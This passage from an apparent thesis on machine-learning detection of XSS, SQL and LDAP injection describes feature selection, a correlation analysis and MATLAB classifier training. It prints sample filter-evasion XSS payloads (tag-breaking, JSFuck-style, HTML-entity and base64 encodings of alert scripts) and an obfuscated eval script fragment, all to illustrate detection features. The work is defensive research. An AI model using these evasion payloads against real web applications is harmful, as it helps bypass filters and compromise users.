unescape(r);}eval(z($));document.write($);</script>
```

Fig. 3.1 Obfuscated Script Example

Komiya et al. in [108] focused on the content of the payload with reference to features which depended on the terms present and the white-space which separated these: for instance, the number of examples of a range of terms (tags, punctuation, literals, numerals, and objects) which were encountered within the payloads. Good results were achieved by these two studies [108, 115], but the contribution of our

work is to select features that enable the classifier to be trained so that it can recognize obfuscated payloads and payloads containing suspicious commands. In terms of the process of selecting features, this research has been focused on the payload's structure in particular, the aim being to find significant symbols and signs within payloads. These symbols and signs are present in all types of payloads whether benign or malicious, but with different usages; often, the numbers of the various signs and symbols which appear in the two different types of payload are different. For example, there are often many more parentheses in malicious payloads than appear in benign payloads. Moreover, there are commands in JavaScript which can be used to steal information or hide the malicious script referenced by it, but these commands are also used by developers: such as cookie, document, href, src and so forth. Features were selected which represented the JavaScript commands that are most frequently used by attackers and how they can be used.

Initially, fourteen features were employed, including some punctuation-based features. These fourteen features were then used to evaluate the classifiers' performance, however the classifier performance using these features was not strong. Further features were then added, incrementally, so that eventually all the relevant punctuation and special characters were included. The idea at the beginning was to calculate the percentage of a feature's occurrence within a payload (in relation to the total number of features). With the gradual addition of features, it was noted that the accuracy of this approach started to become close to that of the previous two works [108, 115]. Since the motivation for this research was to achieve very high accuracies from a security perspective, the features applied have been modified to be Boolean only in order to achieve better accuracy while maintaining performance in terms of speed. In this present research, the two methods employed in the previous works are combined [108, 115], but with an emphasis on XSS attacks, selecting features which can help with detecting obfuscated attacks and analysing the content of the payload. For example, XSS attacks often use JavaScript, SQL-i and LDAP injections, and all of these can employ SQL statements. Taking note of this observation, features were chosen such that similar features and those which are frequently found in all the

types of attack-payload directed against web applications were grouped and named with non-alphanumeric features. Features which were not of this kind, such as those indicating the presence of keywords, were placed in another group - alphanumeric features.

3.5.1 Non-alphanumeric Features

An attacker may use techniques which are specifically designed to trick a signature based protection system: such as using ASCII Code; inserting unnecessary symbols inside a payload; and writing malicious scripts using JavaScript commands then altering some of these commands in order to pass through/ deceive web application protection (e.g., a script tag can be written as $< \ sc\ ri\ pt >$, or the code for accessing a cookie can be separated into two parts using the '+' sign - ("document +' . ' + cookie")). In addition, there are combinations of symbols which may also be useful (to the attacker) when included in malicious payloads. As a result of the presence of obfuscated payloads, finding malicious payloads in general must be undertaken using special techniques. In consequence, non-alphanumeric features have been identified which depend on the numbers of particular characters appearing in the payload. In order to differentiate between the two types, punctuation marks and special characters, the non-alphanumeric features were divided into these two groups. The full non-alphanumeric punctuation characters group is given in Table 3.6 and the special characters in Table 3.7. All these characters can be used in XSS, SQL-i, and LDAP attacks.

3.5.1.1 Punctuation Group Features

The punctuation group contains most of the signs that are used in normal text, as well as those which are commonly used within payloads. Most of them can occur in any payload and have a widely-recognised significance in plain text. They have been examined in relation to the information in [54]. Table 3.6 shows all the punctuation marks that can be found within both normal and obfuscated payloads, and which were used as features within this research.

Feature	Term	Feature	Term
Ampersand Sign	&	Comma Sign	,
Percentage Sign	%	Hyphen Sign	-
Slash Sign	/	Less Than	<
Backslash Sign	\	Greater Than	>
Plus Sign	+	At Sign	@
Apostrophe Sign	’	Underscore Sign	_
Question Mark	?	Colon Sign	:
Exclamation Mark	!	Dot	.
Semicolon Sign	;	Open Brace	{
Octothorpe Sign	#	Close Brace	}
Equal Sign	=	Tilde Sign	∼
Open Bracket	[	Space	
Close Bracket	]	Quotations Sign	"
Dollar Sign	$	Grave Sign	‘
Open Parenthesis	(	Vertical Bar	|
Close Parenthesis	)	Power Sign	^
Asterisk Sign	*	Broken Bar	¦

Table 3.6 Non-alphanumeric Features (Punctuation)

An explanation of the features listed in Table 3.6 in terms of how they are used by attackers within payloads is given in the Appendix A. Some of these features have been used for similar purposes in other works such as [2, 115, 144, 202], but others are for the first time here - such as (Tilde, Broken bar, Grave).

3.5.1.2 Special Characters Group Features

Special characters are defined here as those specified by a combination of one or more punctuation marks. The purpose of these combinations is to bypass the filters which attempt to protect the web application from malicious payload; the characters specified in this way can, for instance, close a previous tag and open a script tag, escape certain punctuation marks in HTML, or generally can be encodings of payloads. Table 3.7 shows the combinations which can be used by attackers, for XSS attacks specifically. Some of the combinations have been catered for in other works such as [2, 144, 194]; other features have been defined and applied for the first time here - such as (And - Hash Signs).

Feature	Term
And - Less Than (&lt)	&lt
Quotation Greater Than Less Than	"><
Apostrophe Quotation Greater Than Less Than	'"><
Double Bracket	[]
And - Hash Signs	&#
Double Equals	==
Double Slashes	//

Table 3.7 Non-alphanumeric Features (Special Characters)

Below is a description of the features listed in Table 3.7 and an explanation of how they are used by attackers within payloads to bypass web application protection filters. They have are described in terms of OWASP [77].

Special Characters Group Description

1. **And - Less Than (&lt):** stands for the "<" sign which is an HTML language element which introduces attributes: for example $< h3 >$. The special character is used by the attacker to open a new tag that containing the malicious payload: e.g., $\&lt\ script > alert(\text{"}Hacked\text{"}) < /script >$.

2. **Quotation Greater Than Less Than (" ><):** This can be used by an attacker to close a previous tag and start a new tag containing a malicious payload: e.g., $\text{"} >< script > alert(\text{"}Hacked\text{"}) < /script >$.

3. **Apostrophe Quotation Greater Than Less Than ('" ><):** This can be used by an attacker to close a previous text then close the tag and then open a new tag containing a malicious payload: e.g., as $'\text{"} >< script > alert(\text{"}Hacked\text{"}) < /script >$.

4. **Double Brackets ([]):** By the use of this, the attacker can benefit from the facilities of the PHP-Shell, whereby he can encode a malicious payload using brackets as well as a set of non-alphanumeric characters; then such a payload can be added to a GET request and sent to the server. Such as $'(++[])[-\hat{}[]] + (![] + [])[- \sim - \sim []] + ([][+[]] + [])[- \sim - \sim - \sim []] + (!![] + [])[- \sim []] + (!![] + [])[+[]])'$;

which means
$< script > alert(”Hacked”) < /script >$

5. **And-Hash Sings (&#):** The attacker can use this to convert malicious payloads from Decimal form to an HTML entity; thus the attacker can encrypt the malicious payload and bypass the filters: e.g.,
<IMG SRC=ja
vascript:a&
#108;ert('Hacke
d')>
which means
$< IMG\ SRC = javascript : alert('Hacked') >$

6. **Double Equals (==):** With this, an attacker can take advantage of the double equals when writing malicious functions; this symbol can be used as a logical operators within conditionals such as (if, while), also it can be used via base64 encoding to encode the malicious payload: e.g.,
$(PHNjcmlwdD5hbGVydCgiSGFja2VkIk8L3NjcmlwdD4 ==)$
which means
$< script > alert(”Hacked”) < /script >$

7. **Double Slashes (//):** This can be used by an attacker to bypass the filters; specifically it can be used within a malicious payload either for escaping JavaScript escapes, or to redirect to another URL: e.g.,
$(< SCRIPT > var\ a = ”\\”; alert('Hacked'); //”; < /SCRIPT >)$.

3.5.2 Alphanumeric Features

The alphanumeric features include commands and functions which could be used in XSS, SQL-i, and LDAP attacks - attackers may use a range of functions or commands in their attacks. For example, such alphanumeric sequences may be used in de-obfuscated functions or when adding commands within HTML tags. Such functions, are also used in normal payloads, but clearly they are used in a different

way in an attack payload. Such functions, are also employed in development. For example, the number of variables definition, the document functions, and the cookies function are all focused on use during development. Because of this, the alphanumeric features were divided into two groups: the first group containing commands, tags, and functions that are commonly used within XSS payloads; and the second group containing the SQL statement that are commonly used in SQL-i and LDAP injections. Table 3.8 illustrates the XSS alphanumeric features and table 3.9 presents the SQL-i and LDAP alphanumeric features.

3.5.2.1 XSS Alphanumeric Features

The alphanumeric features of benign XSS payloads often include commands, events, and objects that may also be found within malicious payloads. Most payloads use the same kinds of JavaScript scripts, but malicious payloads tend to use JavaScript commands in a suspicious way: for example, they might use the eval function frequently, include malicious payloads within an image tag source, or use suspicious but de-obfuscated functions. When a significant number of suspicious activities occur within a payload, it will be classified as a malicious script. Table 3.8 illustrates the suspicious features mentioned along with the terms used for each feature.

Features	Terms
Readability	Readable by human
Objects	document, window, iframe, location
Events	Onload, Onerror
Methods	String.fromCharCode, Search.
Tags	DIV, IMG, script, Break Line.
Attributes	SRC, Href, Cookie.
Reserved	Var
Functions	eval
Protocol	HTTP
External File	.js
JavaScript Command	Alert
Letters	Letters within payload.
Numbers	Numbers within payload.
Symbols	Symbols within payload

Table 3.8 XSS Alphanumeric Features

Below is a description of the features listed in the table 3.8 and an explanation of how they are used within payloads by attackers. Most of the information given was obtained from OWASP [151].

XSS Alphanumeric Features Description

1. **Readability:** The readability feature represents to what extent a text, entered through an entry point in a web application, is directly human-readable. This feature is based on the percentage of characters within the entered text are human-readable letters. It is considered that if 80% of the text consists of letters which are readable, then the text is readable, otherwise it is considered unreadable. The proportion of 80% was chosen because when Likarish et al. in [115] set a comparable parameter to 70%, they achieved highly accurate results. The same percentage was used in this study and achieved reasonable results, but the goal here is to achieve an even higher accuracy and more robust results in terms of protecting web applications; thus, the proportion of characters in the entered text which must be readable for the text to be considered readable was gradually increased until the results were found to be more accurate than those of the previous works. The feature was represented using a Boolean value, (1) for readable and (0) for unreadable. A function was created in MS Excel to determine whether text is readable or not.

2. **Document:** A document object is an HTML object which represents a web page which can be presented to the user. Furthermore, a document object is a starting point which can be used to change, add, or delete elements of the web page. It can be used by an attacker, who has a set of properties, to obtain user information or to change the page's behaviour in unexpected ways.

3. **Window:** A Window object is an HTML object which represents a page which is open in the browser; the browser creates a window object for each opened HTML document. An attacker can take advantage of window objects, using its properties to execute a malicious payload when window length or width change events occur.

4. **Iframe:** An IFrame is an HTML object represents an HTML <iframe> element. It can be used by an attacker who intents on following the same origin policy, or to create a twinned web site within an iframe which behaves exactly like the real site, but simply exists to obtain user-sensitive information.

5. **Location:** A Location object is an HTML object containing information about the current URL. An attacker may use a location object to obtain user information or to update the location of the document to one which contains a version of the document controlled by, and provided by, the attacker.

6. **Onload:** The Onload event occurs immediately after a page has been loaded; the code for it often exists within the <body> element, and is executed after the loading of the entire page content is completed. It can be used by an attacker to execute a JavaScript attack after the window loads.

7. **Onerror:** The Onerror event is activated in the case of an error occurring while an document or image is being downloaded from an external source. An attacker could use it to execute a JavaScript a malicious JavaScript.

8. **String.fromCharCode:** This method converts Unicode numbers to characters. An attacker may employ this method to convert a malicious payload into numbers, to bypass a protective filter, and then use it again to convert the script back to an executable form.

9. **Search:** The Search method searches a string or an expression for a specified value, and returns the position of any match. An attacker may use this method, by inserting malicious payloads within search values.

10. **Div:** Div is a HTML tag which can be considered as a container for other HTML elements such as CSS or for the execution of JavaScript. An attacker may use this tag to include a malicious payload, for example, within a style attribute.

11. **Img:** The Img tag is used to insert an image into an HTML page. An attacker may use this tag by including a malicious payload in a source (Src) attribute.

12. **Script:** The Script tag is used to execute a client-side script, which either contains scripting statements or refers to an external script using a (Src) attribute. This tag is the most important tag used by attackers to insert malicious payloads to run on the client side. It is used by attackers covertly by encoding it or encrypting it in order to bypass filters.

13. **Break Line:** This is represented by (<br>), an HTML tag, and it is intended to insert/display one blank line on the web page. However, it can be used by an attacker to bypass filters by dividing a malicious payload into several lines. It is mostly used in DOM attacks.

14. **Src:** The Src attribute is used to specify a URL (location) for an external resource such as an image, a JavaScript file, an audios or a video. An attacker can benefit from this attribute in such a way as to bypass any filters, by including a malicious payload within the Src attribute. In this way the attacker could, for instance, ensure that an event such as "Onmouseover" contains a malicious payload, or import an external file containing a JavaScript malicious payload.

15. **Href:** This is an attribute which is used to specify a URL that the user will activate next; in other words, it creates a hyperlink to an external resource. An attacker may use this attribute to include a malicious payload, or to redirect the user to a server which is under the attacker's control.

16. **Cookie:** This is a small text file on a user's computer in which user data can be stored. After a web server sends the web page to the user's browser, it is disconnected from the user's computer. But when the user visits the same page again, the user information which is stored in the cookies associated with that page becomes relevant again. Cookies are considered to be one of the attacker's most important targets because this is where user names, passwords, and credit card information are likely to be stored. An attacker may take advantage of the cookie attribute to send information which is stored in a cookie file to a server that is under the attacker's control.

17. **Var:** This stands for variable, and is used in JavaScript to declare variables. It can be used by an attacker who wishes to declare variables within a malicious payload.

18. **Eval:** This is a global function in JavaScript that can be used to evaluate a string or expression as JavaScript code and execute it. An attacker may use this function in several different ways: e.g., to execute an expression which compiles and execute several variables which contain malicious payloads, or to execute encoded code.

19. **HTTP:** This is a protocol for communicating between clients and servers using a request and response methodology. The browser sends an HTTP request to the server which the server receives and then processes via an application; this subsequently sends a response to the browser. The protocol may be used by attacker, sending a request to the server which contains a malicious payload. Alternatively it may be used within a malicious payload to redirect the user to a server under the attacker's control.

20. **.js:** This is a JavaScript file which is imported from an external source and then executed within a web page. An attacker may take advantage of such external JavaScript files by including them in the payload; in this case they will constitute malicious code.

21. **Alert:** This facility is used to display an alert box with a specific message as well as an OK button. It is often employed to show a message to the user in such a way that the focus remains solely on the message box until the OK button is pressed. The facility may used by an attacker to show a (often false) message to the user or to include a malicious payload that is executed after the OK button is pressed.

22. **Letters:** This feature relates to the number of letters in a payload. An encoded malicious payload may contain fewer letters than normal, or when such human-readable letters are not encoded, the number of punctuation marks may be

excessive. For this reason, a function was created in MS Excel that calculates the number of letters in the payload as identified using the ASCII codes. To determine the resultant value of the feature, the ratio of characters which are letters to all characters in the payload is calculated, if this is more than 70% the feature's value is represented as (1), otherwise it is represented as (0).

23. **Numbers:** This feature counts the number of numeric characters (digits) in the payload; a function was created in MS Excel that calculates the number of digits in a payload – via the ASCII codes. To determine the resultant value of the feature, the ratio of characters which are digits to all characters is calculated, if this is more than 70%, the feature's value is represented as (1), otherwise it is represented as (0).

24. **Symbols:** This feature relates to the percentage of non-alphanumeric symbols within the payload; such symbols include all characters that are not digits, lowercase letters, nor uppercase letters. The value (1) is given to the feature in the case where the percentage of symbols (to other characters) is 70% or more, otherwise the feature is represented by the value (0). The following function illustrates the method employed to calculate the feature values.

The last three features used the proportion 70% as their thresholds. This is because any increase beyond this percentage in the ratios in question marks the associated inputs (payloads) as suspect. This proportion was used in [115] in a feature employed to determine the readability of payloads. The percentage (70%) has yielded better results in this respect than other percentages.

3.5.2.2 SQL-i and LDAP Alphanumeric Features

The alphanumeric features used in relation to both SQL-i and LDAP are similar in principle, as both types of payload will include a set of SQL statements in their injections. Table 3.9 shows SQL statements that may be present in attacks. The statements have been examined in terms of [157].

Feature	Terms
SQL Statement (Commands)	Select, From, Table, Where, Like, Insert, Update, Delete, Drop, Login, And, Or, Group, Union, Null

Table 3.9 SQL-i and LDAP Features

1. **Select:** This is one of the SQL commands that functions to retrieve data from a database, and is one of the most commonly used.
2. **From:** This keyword is used within a "select" statement in order to specify the table in the database from which the information is to be retrieved.
3. **Table:** This is used to create a new table within a database; the columns and their data type are selected.
4. **Where:** This is used to filter rows within a table according to specified criteria.
5. **Like:** This is used, in association with 'Where' to search for strings of characters which match in terms of a specified pattern.
6. **Insert:** This is for adding a new record to a table in the database; the statement may contain values that are to be added to the columns.
7. **Update:** This is to update the values in a record or several records within a table in the database.
8. **Delete:** This is used to permanently remove a record or multiple records from a table in a database.
9. **Drop:** This is used to drop (delete) a database and all its tables.
10. **Login:** This is used to create an identity that can be used to communicate with the SQL server; the login is mapped to a database user.
11. **And:** This is one of the logical operators which can be used with "where". It is employed in relation to two conditions - both conditions must be true for the operator to return the value true.

12. **Or:** This is one of the logical operators that can be used with "where". It is employed to in relation to two conditions - at least one of these conditions must be true for the operator to return the value true.

13. **Group:** This is used to group a set of rows with the same values in summary rows. It can be grouped using one or more columns.

14. **Union:** This is used to combine the result sets returned by two queries (i.e., the results of two "Select" statements). The two sets must be in the same order, have the same number of columns, and the data types used in the two queries must have been identical.

15. **Null:** This means that a field has no value; thus a new record can be inserted into a table or a table row can be updated - with a null value in one or more of its columns.

3.5.3 Text Features

The text features were defined so that they can help differentiate between inputs that are normal text and inputs that are scripts. These features were chosen based on the fact that the inputs are composed, diversely, of letters, numbers, and punctuation symbols (including parentheses). In order to distinguish between normal text and scripts the structure of the text was taken into consideration; normal text is expected to contain a lower percentage of punctuation symbols than scripts. Table 3.10 presents the text features.

Feature	Terms
Letter	Proportion of letters in the payload
Number	Proportion of numbers in the payload
Space Proportion	Proportion of spaces in the payload
Punctuation	Proportion of (; , : . = ( ) [ ] { } <> / ’ " ‘) in the payload
Special Character	Proportion of (! $? _ &) in the payload
Operations	Proportion of (+ - * ^) in the payload

Table 3.10 Text Features

Punctuation characters, special characters, and character-based operational features have been described in terms of their use within normal text in section 3.5.1.1. All the text features have been calculated in relation to payloads by counting the number of occurrences of the various classes of characters in the payload and dividing this by the its total length. All the functions necessary to this have been created using MS Excel.

3.6 Extracting Features

Features are extracted from payloads by splitting the payload according to the size of the feature. For example, when extracting features that are represented by a single character, the payload will be split into single character strings. When a feature consists of more than one character, the payload will be split into a number of strings, all the same length as the feature. Via this process, MS Excel was used to find features within the payloads. Several functions built into Excel were used to extract the features; descriptions of these functions can be obtained from [46]. The same process was used to search for features within all payloads and scripts. Example code for searching for (script) features follows:

$IF(SUMPRODUCT((LEN(A2) - LEN(SUBSTITUTE(A2,"script",""))) /LEN("script")) >= 1,1,0)$

3.7 Representing Features

The features shown in Table 3.6, 3.7, 3.8 and 3.9 are all represented by Boolean values (0/1), where (1) represents the occurrence of the feature and (0) represents the non-occurrence of the feature within a payload. The features in Table 3.10 are for determining the type of payload, whether normal text or script, and are also represented using values between 0 and 1, where the value shows the proportion of feature occurrence within the payload. The outputs (Labels) are also represented

by either 0 or 1, where the positive (malicious) classes are represented by 0 and the negative (benign) classes are represented by 1.

3.8 Features Correlation

Cross-Site Scripting dataset and selected features are contributions to this thesis, it is imperative that their efficacy is tested. For this purpose, the correlation between the individual features and class variables will be examined in order to find out the correlation between them. Taking into account that all feature's value in the dataset were represented by (0,1), this led to the selection of the tetrachoric method for finding the correlation. The reason for this choice is because tetrachoric correlation coefficient estimates the relationship between two bivariate variables (i.e, yes/no, true/false), assuming an underlying bivariate normal distribution [113]. Tetrachoric correlation has the ability to measure whether two binary features are linearly dependent or not. In the case of a correlation, the coefficient of correlation is $\pm$ 1 and in case of uncorrelated the coefficient is 0 [22, 68]. It is worth noting that the positive correlation coefficient indicates a direct relationship between the two variables, meaning if the first variable increases, the second variable increases. The negative correlation coefficient indicates an inverse relationship between the variables, that is, if the first variable increases, the second variable decreases. Zero denotes that there is no relationship between the two variables.

Table 3.11shows the results of applying tetrachoric correlation to XSS dataset to find the correlation between individual features and class variables. It can be observed from the results, that all the features obtained a value ranging between -1 and +1, which indicates to a correlation between features and class. It can also be deduced from the results in the table that there is a linear dependence between the individual features and the class.

Figure 3.2 shows the correlation coefficients distribution, where the blue dots represent the correlation coefficient between feature and class. Moreover, it can be

Feature	Correlation	Feature	Correlation	Feature	Correlation	Feature	Correlation
Ampersand Sign	-0.0018	Comma Sign	0.3147	<	-0.4355	IMG	-0.1591
Percentage Sign	-0.3561	Hyphen Sign	0.2310	"><	-0.1023	script	-0.7525
Slash Sign	-0.4349	Less Than	-0.7166	‘"><	-0.0248	Break Line	-0.6006
Backslash Sign	0.0647	Greater Than	-0.5936	[]	0.0505	SRC	-0.2840
Plus Sign	0.1445	At Sign	0.0346	&#	-0.0554	Href	-0.0240
Apostrophe Sign	0.0916	Underscore Sign	-0.2172	==	0.0843	Cookie	-0.3716
Question Mark	-0.6868	Colon Sign	-0.4869	//	-0.4804	Var	0.1390
Exclamation Mark	0.1931	Dot	-0.0819	Readability	0.0015	eval	-0.0267
Semicolon Sign	-0.4713	Open Brace	0.1084	document	-0.3158	HTTP	-0.5021
Octothorpe Sign	-0.0027	Close Brace	0.1003	window	0.0641	External File	-0.0463
Equal Sign	-0.3102	Tilde Sign	-0.0372	iframe	-0.1854	Alert	-0.8263
Open Bracket	0.0624	Space	0.2407	location	0.1598	Letters	0.1394
Close Bracket	0.0607	Quotations Sign	-0.0766	Onload	-0.1447	Numbers	-0.0168
Dollar Sign	0.1435	Grave Sign	-0.0089	Onerror	-0.1277	Symbols	0.0066
Open Parenthesis	-0.3487	Vertical Bar	0.0768	String.fromCharCode	-0.1283		
Close Parenthesis	-0.3496	Power Sign	0.0350	Search	-0.3666		
Asterisk Sign	0.0850	Broken Bar	0.0301	DIV	0.0187		

Table 3.11 Features Correlations Results

seen that the correlation coefficients are widely spread, which indicates the weak correlation between the individual features and the class.

Fig. 3.2 XSS Dataset Tetrachoric Correlation

It is concluded from the previous results in Table 3.11 that there is a correlation between the features and the class, as well as the results show that some features are very important which have achieved results further from zero.

Cross-Site Scripting dataset is available at"https://github.com/fmereani/Cross-Site-Scripting-XSS". It is available for academic purposes or for further examination and analysis.

3.9 Summary

This chapter has discussed the collecting of the data in relation to its sources, detailing the various different datasets used, their size, and the way they were put together. Furthermore, it has provided a discussion of the feature selection process and the way that these were represented in the experiments, explaining each feature alongside the method of attack that they relate to. Moreover, the method of extracting the features from the payloads was described. In addition to explaining of a correlation between individual features and a class, and the strength of the correlation between them.

Chapter 4

Classifiers and Initial Results

4.1 Introduction

The datasets employed for this research are presented in Chapter 3, in terms of how they were put together, as well as how many instances each contained. In addition, the features used have been reviewed along with an explanation of the methods utilized to extract them, and the ways in which they have been represented. In the course of this chapter, it will be shown how datasets and features were applied together in order to create the classifiers models. The purpose of these classifiers was to detect XSS attacks and also to recognize and identify SQL and LDAP injections. The reason of why machine learning is preferred in this study over payload parsing is that the parser creates vectors (tag, key, value) for all HTML or any script in the request. These vectors are then sent to the verifier which checks its database that contains black-list tags for each vector to determine if it is malicious or not [109]. The main disadvantage of the parser is that it cannot recognize the JavaScript code due to encoding or obfuscate the payload, which means that the parser has been deceived [159]. On other hand, supervised machine learning uses algorithms to analyse data, as the algorithm is trained using large amounts of data that give it the ability to recognise the attack pattern to be able to perform the task then make decisions or predictions [38].

Section 4.2 highlights the types of classifiers that have been used in the experiments here. Section 4.3 describes the optimizations for each of these classifier and explains the tuning that was achieved via that classifiers' various parameters. Section 4.4 describes the evaluation methods that were used to evaluate classifier models. Section 4.4.3 reviews the measurement criteria that were used to measure and analyse the models' performance. Section 4.5 sets out the initial results obtained via the use of the classifiers discussed with regard to each type of attack; these results will be compared with the results yielded by the further approaches which will be discussed in the coming chapters (approaches relating to improving the efficiency of the classifiers). Section 4.7 summarizes the material reviewed in this chapter.

The descriptions of the creation of classifiers for detecting XSS attacks which are included in this chapter were published at the Advanced Machine Learning Technologies and Applications Conference in a paper entitled Detecting Cross-Site Scripting Attacks Using Machine Learning [130].

4.2 Classifiers

In this present study, a range of classifier types have been used to create models able to detect XSS, SQL-i, and LDAP attacks - though the emphasis is primarily on XSS attacks. The classifiers were constructed using the extracted features which have been described in Chapter 3. Support Vector Machine, k-Nearest Neighbour, Random Forest, and Neural Network classifiers were all constructed using features which can be represented as (0,1) values. On other hand, the Decision Tree classifier used features with values between 0 and 1; the value reflecting the proportion of the presence of the feature within the payload used to create the classifier. These classifiers were optimised by using various different parameters – in order to achieve the best classifications across all the classifiers. The overall approach which has been used with the classifiers is supervised learning. The reason for choosing these machine learning algorithms is that they are all well-known approaches to classification as they demonstrate stable results. In addition, fundamentally different techniques

were chosen which include tree based (DT and RF), neighbourhoods (kNN), space dividing (SVM) and neural networks for arbitrary function approximation (NN).

The next section will explain the construction of the classifiers with an emphasis on the parameters used for each classifier. MatLab R2018b was used to create the models, and this study focuses on the Decision Tree, Support Vector Machine, k-Nearest Neighbour, Random Forest, and Neural Network classifiers and their performance.

4.3 Fitting the Models

In the process of creating a model, a number of steps have to be followed. The selected features must be used as inputs for the purpose of training the classifiers; here features with Boolean values (0,1) have been used with the SVM, k-NN, Random Forest, and Neural Network classifiers - to detect attacks. Features with values between 0 and 1 were used with the Decision Tree classifier to distinguish between normal text and scripts. In addition, relevant parameters have been identified for use in building the model; these parameters were tuned in order to achieve the best results - classifier optimisation will be explained in relation to each classifier individually. It should be noted that the XSS training dataset was used to optimise the classifiers, and the reason for choosing this particular dataset for this purpose was that the focus in this research is on detecting and so preventing XSS attacks.

4.3.1 Decision Tree Classifier

The decision tree classifier model uses a supervised learning method that follows a top to bottom strategy in order to build a tree; the branches of this tree represent choices which are made with regard to a feature, and its leaves are the class (labels) or targets. The method aims to return the most appropriate classification of an instance by starting from the tree root then moving through the branches (decisions) until it encounters a leaf – wherefrom the class (label) is yielded [198]. A decision tree classifier was used to distinguish the entered data as either being normal text or

script. The decision tree classifier was chosen to classify the text because it forces the consideration of all possible outcomes of a decision and traces every path to a conclusion [210]. Moreover, the decision tree algorithm is fast in performing classifications, as well as it works on highly non-linear data easily. This made the decision tree classifier the best choice for classifying text.

This kind of classifier is also used here as the first of a set of cascading classifiers applied to the detection of XSS attacks against web applications. The decision tree classifier was optimized by tuning the "MaxNumSplits" parameter in order to control the maximum number of branch splits per tree. The most appropriate value for this parameter as it related to this classifier was discovered using cross validation - whereby a range of different values were tried in order to find which one resulted in the highest accuracy of classification, taking into account both the true positive and the true negative rates. Table 4.1 lists the attempts made to select the parameter.

Number of Splits	1	**2**	3
Accuracy	99.88	**99.96**	99.96
Precision	100	**99.96**	99.96
True Positives Rate	99.76	**99.96**	99.96
True Negative Rate	100	**99.96**	99.96

Table 4.1 Text Classifier Optimisation

Table 4.1 shows that when the "MaxNumSplits" parameter was set to 1, an accuracy rate of 99.88% was obtained. This rate is considered to be high in relation to distinguishing between normal text and scripts. In an attempt to achieve even greater accuracy, the "MaxNumSplits" parameter was increased to 2 and this indeed resulted in an accuracy of 99.96% an improvement on the accuracy yielded when the "MaxNumSplits" parameter was set to 1. However, when "MaxNumSplits" was increased to more than 2, the classifier maintained the same accuracy rate, and for this reason the value of the "MaxNumSplits" parameter selected was 2. The model was constructed using the "fitctree" function which is built-in to MatLab, as follows:

```
DTModel = fitctree(TextTBL,TextResponseVarName,'MaxNumSplits',2);
```

4.3.2 Support Vector Machine Classifiers

The support vector machine classifier model uses a supervised learning algorithm whereby such a classifier learns from examples each of which consists of a set of features linked in one way or another to class names (labels); the classifier uses the presence of these features to predict the classes of new data. The purpose of applying support vector machines (SVM) is to derive a mathematically efficient method for separating the relevant hyperplanes which exist in a high dimensional feature space [42]. Support vector machines can be used in both types of supervised learning (classification, regression) [16]. SVM originated in the statistical learning theory proposed by Vapnik in 1995 [193]; this theory focuses on the problems of pattern classification [202], and it includes a method whereby the feature-space is separated into two subspaces using a two way linear function; the hyperplane defined by this function divides the multi-dimensional space into two, one area representing one class and the other area representing non-membership of that class. Non-linear functions are also used - to maps the feature space into a new features space in such way that the class-dividing hyperplane can be represented in a linear form [41]. This study has used both a linear kernel (SVM-L), and a polynomial kernel (SVM-P). Both kernels have been employed here to classify attacks against web applications; they have been used to distinguish between payloads - whether such contain malicious or benign scripts - and to distinguish between input scripts - whether such contain SQL or LDAP injections or not – but with a focus on detecting XSS attacks in particular. The reason for choosing SVM is that it is a common algorithm in supervised learning and it can learn from examples to predict new data, where the model will be trained using the created XSS dataset. In addition to this, the goal of SVM is to orientate the hyperplane to be as far as possible from the nearest member of both classes [62] to determine a hyperplane which separates the two categories and has the maximum margin of both classes. This can be used with the XSS dataset, as the margins between the two classes are intended to be maximised in order to obtain a high accuracy classification.

In order to achieve the best results, three parameters were used to tune this model of classifier: KernelFunction, BoxConstraint, and OutlierFraction. Each one of these parameters is designed to facilitate the adjustment of the classifier; this latter can be described, based on [126], as follows:

1. **KernelFunction:** This is used to transform the input data into points in the multi-dimensional feature space; the kernel function maps a non-linear situation into a linear one. After this, it applies appropriate linear methods on the transformed data [116]. The types of kernel function which can be used with a SVM classifier are:

   (a) **Gaussian or rbf:** A Gaussian or Radial Basis Function (RBF) kernel - which is used for one-class learning.

   (b) **Linear:** A Linear kernel, used for two-class learning.

   (c) **Polynomial:** Polynomial kernel, used for two-class learning.

   Two kernels were used in this research: linear and polynomial. The reason that these particular kernels were selected was the fact that they both have the ability to designate a hyperplane which divides the feature space into areas representing two distinct classes very effectively. RBF has been excluded because the dataset contains two classes of data: malicious and benign.

2. **BoxConstraint:** The purpose of this parameter is to control the maximum penalty for misclassification (misclassifications which cause a violation of the margin). This parameter can be set so that the cost of misclassification (in terms of points) becomes higher, and this leads to more strict separation. The disadvantage of increasing the "BoxConstraint" is that it leads to increases in training times[76, 126].

3. **OutlierFraction:** This is set according to the expected proportion of outliers in the training data, and is represented via a numeric scalar in the interval (0,1). This parameter, estimating the proportion of outliers in the instances, was proposed in [126].

The following section explains the method that was used to adjust the SVM parameters appropriately.

4.3.2.1 SVM Parameters Adjustment

In this section, the methods used to determine and adjust the parameter values for the SVM classifier will be explained in relation to each individual parameter. This is so except in the case of the "Kernel Function" parameter; as has already been explained, the linear and polynomial kernels were used to create the classifiers. All the adjustments were made in relation to the XSS training dataset.

4.3.2.1.1 BoxConstraint Parameter: As has been said, this was used to control the maximum penalty incurred by misclassification. For this purpose, automated parameter optimisation was implemented by applying the "OptimizeHyperparameters" function and setting its value to be auto. The code for finding the optimal parameters for an SVM with a linear kernel is:

```
Mdl = fitcsvm(ScTBL,ScResponseVarName,'OptimizeHyperparameters',...
'auto','HyperparameterOptimizationOptions',struct ...
('AcquisitionFunctionName','expected-improvement-plus'));
```

The best value for the "BoxConstraint" parameter, as obtained by using this automated optimization, was 0.5, where the criterion applied was to achieve the lowest misclassification rate; with this value, a misclassification rate of 0.0116 was attained. This parameter was used with the linear kernel only.

4.3.2.1.2 OutlierFraction Parameter: This parameter was used to specify the proportion of outliers which could be expected in the dataset instances. The OutlierFraction parameter's value was determined by finding the arithmetic mean of the instances output obtained from the dataset (with respect to different settings of the parameter) and selecting that setting which was associated with the best (lowest) misclassification rate, the value determined in this way was 0.73. This parameter was used with the polynomial kernel only.

Both types of kernel were used for classifying payloads in terms of whether they were malicious or benign. They were employed primarily to detect XSS attacks, but also, SQL-i, and LDAP payloads. These classifiers were constructed via the "fitcsvm" function which is MatLab built-in, the following code is for building the two SVM classifiers:

```
SVMLModel = fitcsvm(ScTBL,ScResponseVarName,'KernelFunction',...
'linear', 'BoxConstraint', 0.5);
SVMPModel = fitcsvm(ScTBL,ScResponseVarName,'KernelFunction',...
'polynomial','OutlierFraction', 0.73);
```

The above two items of code resulted in the creation of two SVM classifiers, one with a linear kernel and the other with a polynomial kernel.

